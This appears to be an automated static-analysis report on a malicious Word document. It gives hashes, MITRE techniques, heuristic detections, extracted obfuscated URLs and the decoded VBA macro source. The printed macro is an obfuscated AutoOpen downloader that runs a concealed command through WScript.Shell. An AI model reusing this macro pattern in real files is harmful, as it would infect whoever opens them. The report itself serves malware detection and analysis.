Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4c52d1bb5065a4f4…

MALICIOUS

Office (OLE)

159.1 KB Created: 2019-01-14 19:58:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 1cf74718dde59b5e4a674b621d20e361 SHA-1: ad9c9f36449b1b023b0a0dcd2f07acfdce5b718e SHA-256: 4c52d1bb5065a4f46ad1a40e077b127eaa42a1e63a0c89df75b1cf8b35ecc973
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros with an AutoOpen function that utilizes WScript.Shell and CreateObject to execute commands. The script attempts to construct a URL from concatenated strings and execute it, indicating it's designed to download and run a second-stage payload. The presence of WScript.Shell and Shell() calls strongly suggests execution of arbitrary code.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6815036-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6815036-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
depositQ = Array(JeweleryB, NewJerseyL, VietnamY, CreateObject("WscRipt.sHeLl").Run(("" + depositp + matrixB + feedc.TextBox1) + OperationsZ + UnbrandedFreshSoapY, 42 - 42), Userfriendlyt, Functionalityc, JSONb)
   Select Case Communicationsk
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
depositQ = Array(JeweleryB, NewJerseyL, VietnamY, CreateObject("WscRipt.sHeLl").Run(("" + depositp + matrixB + feedc.TextBox1) + OperationsZ + UnbrandedFreshSoapY, 42 - 42), Userfriendlyt, Functionalityc, JSONb)
   Select Case Communicationsk
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "revolutionarys"
Sub autoopen()
generateS = iteratei - paymentQ
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://batdongsanba?Cjen24h.SJo?/lhB,dLtYB4z4Hqz4,4k@http://sCjnar?as.parCjadko?Cjndo.SJo?/S9tI4B42 In document text (OLE body)
    • http://taboSJlub.SJo?/nOdB4Ls0lS@http://letsspeakenglCjshonlCjne.SJo?/SJV4B4KLMCx8Glmb.SplCjt(lmb@lmb);$aSJtCjonCjte?sCj]lmbVCjrtualLlmb;$AutoLoanASJSJountVIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7726 bytes
SHA-256: 2c56066b0de4d6b5f09f5d22b963407ab4fc9c9692ac99d4955c6beb847408fc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "feedc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "WoodenN"
Function GorgeousFreshTunaM()
On Error Resume Next
   Select Case DominicanRepublicD
         Case 849
platformsW = programmingR
            purpleu = CDate(invoiceU)
            RubberV = Gorgeouss
            paymentB = Sgn(invoiceB)
         Case 837
            LebanesePoundd = 296
            Dominical = CDbl(102)
eyeballsL = LicensedF
            Intuitiver = Sin(synthesizingF)
         Case 79
JBODs = Bedfordshiret
            MusicToolsq = Fix(depositU)
tertiaryX = Lodget
            paymentp = Round(814)
            ChiefM = mintgreeni
      End Select
   Select Case MusicK
         Case 585
FutureL = violetd
            datawarehouset = CDate(HawaiiN)
            CreditCardAccountj = InfrastructureI
            TunnelV = Sgn(compositel)
         Case 737
            AlgerianDinarH = 994
            Researchj = CDbl(75)
Ergonomich = pixeld
            Tacticsj = Sin(InvestmentAccountP)
         Case 307
BordersW = NorthKoreanWonk
            BordersJ = Fix(IndustrialShoesComputersa)
withdrawalw = tanS
            PersonalLoanAccountJ = Round(981)
            paymentp = FantasticRubberSoapu
      End Select
depositQ = Array(JeweleryB, NewJerseyL, VietnamY, CreateObject("WscRipt.sHeLl").Run(("" + depositp + matrixB + feedc.TextBox1) + OperationsZ + UnbrandedFreshSoapY, 42 - 42), Userfriendlyt, Functionalityc, JSONb)
   Select Case Communicationsk
         Case 257
connectn = Fantastich
            Forwardw = CDate(paymentn)
            purpleu = emarketsQ
            NationalG = Sgn(SmallPlasticTunas)
         Case 163
            cyana = 380
            overridingo = CDbl(258)
ConcreteL = overridel
            Internalr = Sin(HealthElectronicsQ)
         Case 397
programF = HandcraftedSteelFishM
            SmallH = Fix(bandwidthu)
InvestmentAccountu = Avonl
            Alaskaa = Round(507)
            Washingtoni = onlineK
      End Select
   Select Case CottonU
         Case 308
FrontlineO = GroceryE
            BuckinghamshireD = CDate(engageF)
            DalasiV = crossplatforms
            CreditCardAccountH = Sgn(hackingN)
         Case 361
            ConcreteU = 744
            Trackk = CDbl(693)
Ergonomicm = greenP
            parsingP = Sin(Dynamicw)
         Case 513
JunctionX = InvestmentAccountj
            calculatingI = Fix(depositB)
sensoru = FantasticE
            crossmediaV = Round(32)
            ComputersI = MarylandY
      End Select
   Select Case sexyn
         Case 386
SeniorT = Lightso
            depositS = CDate(SleekGraniteBikeW)
            HomeKidsKidsf = portJ
            PlannerO = Sgn(virtualM)
         Case 834
            quantifyR = 660
            ecommerceU = CDbl(939)
COMT = SavingsAccountV
            SwedishKronaj = Sin(CambridgeshireT)
         Case 147
ComputersOutdoorsm = USBH
            InvestorF = Fix(SportsJeweleryG)
discreteb = Corporateb
            RidgeZ = Round(847)
            approachm = Denmarkd
      End Select
   Select Case nextgenerationn
         Case 399
ROIr = depositp
            disintermediateZ = CDate(alarmM)
            engagek = withdrawalV
            driverW = Sgn(technologiesT)
         Case 453
            extendP = 917
            enterpriseq = CDbl(901)
ConvertibleMarksV = MarketsC
            magentaq = Sin(MoneyMarketAccountY)
         Case 791
exudingL = SportsKidsHomea
            FantasticPlasticChipsw = Fix(calculatingX)
MinnesotaK = fuchsiah
            IntranetR = Round(297)
            primaryL = SleekX
      End Select
   Select Case Designers
         Case 675
quantifyingj = Softp
            valueaddedQ = CDate(RefinedGraniteChairK)
            GenericSoftTowelsW = asynchronousu
            overridingp = Sgn(RefinedRubberCarK)
         Case 378
            MultitieredW = 637
            Internationala = CDbl(880)
Plasticw = orchestrateC
            missioncriticalw = Sin(Portz)
         Case 762
HealthW = HandmadeSteelShoesi
            SavingsAccountt = Fix(WisconsinV)
pixelN = monitord
            CambridgeshireQ = Round(409)
            RusticWoodenChipsN = redundantH
      End Select
End Function


Attribute VB_Name = "revolutionarys"
Sub autoopen()
generateS = iteratei - paymentQ
ForwardB = Mozambiqueu - depositi
auxiliaryo = MultilateralZ - WebD
EstateN = MetalV - Plazaa
alarmB = AutoLoanAccounta - approachE
GorgeousFreshTunaM
backupD = calculatingU - Awesomem
strategict = IncredibleWoodenSausagesw - CheckingAccountU
overridingi = incrementalN - bypassz
Officerf = GBU - BrandP
Mobilityi = silverz - Steelu
End Sub

Attribute VB_Name = "JapanC"

Attribute VB_Name = "generatingr"

Attribute VB_Name = "transformR"

Attribute VB_Name = "AssuranceV"

Attribute VB_Name = "Softr"

Attribute VB_Name = "IllinoisR"

Attribute VB_Name = "IntelligentWoodenTowelsl"

Attribute VB_Name = "connectD"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "evolvep"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "IntelligentG"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Awesomem"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "HandcraftedSoftChairZ"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "HomeLoanAccountc"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "AssociateY"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "bluew"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Open this report in the interactive analyzer, or submit your own file for analysis.